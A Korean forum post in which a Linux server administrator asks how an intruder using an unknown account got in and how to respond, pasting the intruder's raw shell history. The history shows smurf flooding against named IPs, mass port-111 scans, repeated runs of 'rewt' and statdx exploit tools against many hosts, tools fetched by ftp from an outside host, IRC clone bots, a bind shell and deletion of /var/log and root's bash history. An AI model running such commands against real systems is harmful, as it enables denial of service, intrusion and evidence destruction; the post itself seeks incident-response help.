>> Edit article

			이름
			제목
			패스워드

아래는 저희 리눅스에 enforce라는 계정으로 이루어진 작업들인데요. 제가 위 계정을 만든적이 없거든요 -_-; 아래의 작업을 하고 /var/log 파일까지 몽땅 지우고 가버렸는데 어떤 과정을 거쳐서 해킹을 한 것인지 조언을 바랍니다. 여기에 대한 대응은 또 어떻게 해야할지. -_-; w ls ls ls rm none* cp sush .sush rm sush rm xperl.sh ls cp .sush /tmp passwd nobody ls w cat /etc/passwd cd .. cd enforce exit clear ./smurf4 p bcast 0 1 1024 clear ./smurf4 24.179.66.188 bcast 0 1 1024 clear rm smurf4 ls rm bcast clear exit ping ping -c 1 -s 10 cx1144656-a.lbbck1.tx.home.com exit cd .scan cd sscan ./sscan -o extweb1.lubb.ttuhsc.edu ./sscan -o jun-zhi.com.tw cd .. exit cd .scan ./smurf4 207.17.89.132 bcast 0 1 1024 exit cd .scan ./rewt -h 211.43.8.1 ./rewt -h 211.43.14.125 ./rewt -h 211.43.15.250 ./rewt -h 211.43.19.125 ./rewt -h 211.43.21.5 ./osscan cat os.log ./osscan cat os.log ./osscan cat os.log rm *.log clear ./osscan cat os.log ./rewt -h 64.23.0.242 ./osscan cat os.log ./rewt -h 64.23.50.102 ./rewt -h 64.23.66.202 cd .. ./smurf4 207.17.89.132 bcast 0 1 1024 ls cd .scan ls rm core ftp ircquotez.hypermart.net ls gcc -o cloen clone.c cp cloen clone rm cloen rm clone.c ./clone 100 enforce.no-ip.com 6667 sdg enforce ./clone 10 enforce.no-ip.com 6667 asdf enforce ./clone 5 enforce.no-ip.com 6667 asdf enforce rm clone ls gcc -o bind bind.c rm bind.c gcc -o wu-scan wu-scan.c rm wu-scan.c gzip -d sscan gtar -xvf sscan ls gcc -o smurf4 smurf4.c rm smurf4.c clear ls cd sscan cd .. cd .. ./.sush ls cd .scan ls ./smurf4 207.17.89.132 bcast 0 1 1024 cd .. ./.sush exit cd .scan ls ./osscan cat os.log ./rewt -h 63.82.36.67 clear cat statdx.log ./osscan cat os.log exit w ftp ircquotez.hypermart.net chmod +x xperl.sh ./xperl.sh ftp ircquotez.hypemrart.net ftp ircquotez.hypermart.net ls tar -zxvf epona-1.3.6.tar.gz cd epona-1.3.6 ./configure gmake gmake install ls cd sbin ls ftp ircquotez.hypermart.net ls ./services ps -x kill -9 14111 clear ./services ls irc cd .. ls cd sbin ls ./services.chk pico services.chk cd .. cd .. cd epona-1.3.6 cd sbin ls pico services.chk ./services.chk ps -x kill -9 14142 ./services cd .. clear cd .. ls rm *.gz ls clear ftp ircquotez.hypermart.net gcc -o smurf4 smurf4.c rm smurf4.c ./.sush clear mkdir .scan cd .scan ftp ircquotez.hypermart.net cd scan ls chmod +x .bla chmod +x .os chmod +x .ben chmod +x rewt chmod +x osscan chmod +x pscan ls chmod +x statdx clear screen ./pscan 211.43 111 >>output.log rm *.log clear rm *.log clear screen ./pscan 63.32 111 >>output.log rm *.log clear screen ./pscan 63.98 111 >>output.log clear screen ./pscan 64.23 111 >>output.log cat os.log rm *.log clear rm *.log clear screen ./pscan 63.82 111 >>output.log rm *.log clear rm *.log clear screen ./pscan 63.79 111 >>output.log rm *.log clear screen ./pscan 63.19 111 >>output.log rm *.log clear screen ./pscan 24.43 111 >>output.log ./osscan cd .scan ./osscan cat os.log ls cd epona-1.3.6 ls cd data ls pico services.chk ./services.chk ps -x clear ps -x ls cd .. ls cd sbin ls ./services.chk ps -x kill -9 18035 ./services cd .. cd .. ls w cd .scan rm *.log screen ./pscan 63.72 111 >>output.log ls cd epona-1.3.6 ps -x kill -9 18053 cd sbin ./services cd .scan cat statdx.log cat statdx.log ls rm core cat statdx.log ./wu-scan ./wu-scan -s 168.49.117.169 ls rm bcast rm smurf4 cat statdx.log cat output.log cat statdx.log cat statdx.log ./rewt -h 193.231.230.68 ./osscan cat os.log ./rewt -h 163.180.17.14 ./rewt -h 163.180.17.178 ./rewt -h 163.180.17.158 rm os.log ./osscan cat os.log ./rewt -h 163.180.105.119 ./rewt -h 163.180.116.69 ./rewt -h 163.180.105.119 ./rewt -h 163.180.17.158 ./rewt -h 163.180.17.178 cd .scan cat os.log ./rewt -h 211.21.13.114 ./rewt -h 211.21.17.222 ./rewt -h 211.21.18.20 ./rewt -h 211.21.19.27 cat os.log ./rewt -h 211.21.21.91 ./rewt -h 211.21.23.130 cat os.log ./rewt -h 211.21.23.227 ./rewt -h 211.21.24.222 ./rewt -h 211.21.28.230 cat os.log ./rewt -h 211.21.32.106 cat os.log cd .scan cat os.log cat os.log cat os.log ls cd .scan ./osscan cat os.log ./rewt -h 211.21.1.7 rm os.log clear ./osscan cd .scan cat statdx.,log cat statdx.log ./osscan cat os.log ./rewt -h 63.72.254.162 rm *.log clear screen ./pscan 64.36 111 >>output.log cat statdx.log rm *.log clear screen ./pscan 168.51 111 >>output.log rm *.llog rm *.log screen ./pscan 168.62 111 >>output.log rm *.log clear screen ./pscan 205.137 111 >>output.log rm *.log screen ./pscan 163.180 111 >>output.log rm *.log clear ./pscan 210.46 111 >>output.log & ./pscan 210.48 111 >>output.log & ./pscan 210.50 111 >>output.log & clear cat statdx.log ./rewt -h 210.48.8.123 ./rewt -h 210.50.13.20 cat statdx.log ps -x kill -9 19115 kill -9 19116 kill -9 19117 clear clear rm *.log screen ./pscan 134.161 111 >>output.log rm *.log clear screen ./pscan 211.21 111 >>output.log cd .scan ls cat os.log ./rewt -h 211.21.32.106 ./rewt -h 211.21.24.222 rm *.log clear cd .. cd .. cd var cd named ls cat named.local ifconfig linuxconf ls clear exit ls ps -x cd epona-1.3.6 ./services w ps -x cd .. cd .scan ./rewt -h 24.179.160.65 ls rm core clear ls cat /etc/hosts cd .. ./.sush cd .. ls cd enforce ls cd .scan screen ./pscan 211.52 111 >>output.log rm os.log ./osscan cat os.log rm *.log clear screen ./pscan 210.98 111 >>output.log rm *.log clear screen ./pscan 64.45 111 >>output.log rm *.log cd .scan ./osscan cat os.log ./rewt -h 211.52.54.97 cd .. cd .. cd enforce ls cd epona-1.3.6 ls pico mail.c pico mail.o ls pico botserv.c ls pico README cd .. cd .scan clear rm os.log clear cat statdx.log ./osscan cat os.log clear cat os.log ./rewt -h 210.98.0.6 ./rewt -h 210.98.4.2 cat statdx.log ./rewt -h 210.98.4.11 ./rewt -h 210.98.5.1 ./rewt -h 210.98.5.121 cat statdx.log ./rewt -h 210.98.10.19 ./rewt -h 210.98.12.20 ./rewt -h 210.98.12.19 ./rewt -h 210.98.12.4 cat statdx.log ./rewt -h 210.98.27.10 ./rewt -h 210.98.27.11 ./rewt -h 210.98.27.15 ./rewt -h 210.98.27.112 ./rewt -h 210.98.27.12 cat os.log cat statdx.log ./rewt -h 210.98.42.143 ./rewt -h 210.98.42.145 ./rewt -h 210.98.42.144 ./rewt -h 210.98.42.147 ./rewt -h 210.98.42.149 ./rewt -h 210.98.42.136 ./rewt -h 210.98.42.150 ./rewt -h 210.98.42.148 ./rewt -h 210.98.42.146 cat statdx.log cat statdx.log cat statdx.log clear cat statdx.log cat statdx.log cat statdx.log ./rewt -h 64.45.3.252 ./rewt -h 64.45.3.253 ./rewt -h 64.45.3.254 cat statdx.log ./osscan cat os.log pico statdx.log ./osscan cat os.log rm -rf /var/log rm /root/.bash_history exit cd .scan ./osscan cat os.log ./rewt -h 202.144.73.244 screen ./pscan 202.144 111 >>output.log exit cd .scan cd sscan ./sscan -o seicion.ne.jp ./bind seicion.ne.jp cd .. ./bind seicion.ne.jp ./bind h ./bind -h ./bind -t seicion.ne.jp cd .. cd enforce ls ps -x clear cd .scan ls screen ./pscan 205.23 111 >>output.log rm *.log rm -rf /var/log cd .. ./.sush killall -HUP services ps -x kill -9 4496 ls cd epona-1.3.6 ./services cd sbin cat services.conf ps -x kill -9 4501 w ./services clear cd .. cd .. cd .. cd enforce ftp ftp.eggdrop.net quit tar zxvf *.gz cd eggdrop1.1.5 ./configure cd .. rm -rf eggdrop1.1.5 rm *.gz cd .scan pico bink.c pico bonk.c gcc -o bonk bnk.c gcc -o bonk bonk.c ls rm bonk.c ./rewt -h 150.208.131.6 clear screen ./pscan 150.208 111 >>output.log rm *.log clear screen irc irc rm *.log clear ./rewt -h seicion.ne.jp cd .. ./.sush cd .scan cd sscan ./bind -h cd .. exit cd .scan cat os.log clear cat os.log ./rewt -h 203.253.15.88 clear cat os.log clear cat os.log cat os.log clear clear cat os.log clear cat os.log ./rewt -h 210.248.12.226 cat os.log cat os.log cat os.log cat os.log ./rewt -h 203.253.21.204 clear cat os.log ./rewt -h 203.253.24.3 cat os.log ./rewt -h 203.253.37.94 ./rewt -h powerelec.kongju.ac.kr cat os.log cd .scan cat os.log cat os.log cat os.log cd .scan gcc -o smurf4 smurf4.c rm smurf4.c ./smurf4 24.179.66.86 bcast 0 1 1024 clear ./smurf4 24.179.66.188 bcast 0 1 1024 exit cd .scan ./osscan cat os.log ./rewt -h 210.226.2.34 cat statdx.log cat statdx.log ./osscan cat os.log cat statdx.log ./osscan rm os.log ./osscan cat os.log ./rewt -h 203.253.7.97 ./rewt -h 203.253.7.104 cat statdx.log rm os.log clear ./osscan ./rewt -h 203.253.37.90 ftp ircquotez.hypermart.net cd .. ./.sush exit cd .scan cd .. ./.sush cd .scan ./rewt -h 210.226.133.58 screen ./pscan 210.226 111 >>output.log rm *.log ./rewt -h 203.253.221.142 screen ./pscan 203.253 111 >>output.log rm os.log ./osscan ls cd epona-1.3.6 ./services p s-x ps -x clear exit cd .scan cat os.log cat os.log ./rewt -h 210.99.13.125 ./rewt -h 210.99.14.65 cat os.log cat os.log ./rewt -h 210.99.49.197 rm *.log clear ./osscan cat os.log ./rewt -h 209.142.25.200 clear exit ls cd epona-1.3.6 ./services cd .. cd .scan cat os.log ./rewt -h 210.62.0.6 cat os.log ps -x clear cat os.log clear ./rewt -h 210.42.24.19 ./rewt -h 210.42.24.20 ./rewt -h 210.42.24.27 ./rewt -h 210.42.32.253 cat statdx.log ./osscan cat os.log rm os.log ./osscan cat os.log rm os.log ./osscan cat os.log rm os.log ./osscan cat os.log ./rewt -h 210.34.32.64 ./rewt -h 210.34.32.66 rm os.log cat statdx.log ./osscan cat os.log rm os.log clear exit

Copyleft 1999-2026 by JSBoard Open Project Theme Designed by IDOO All right reserved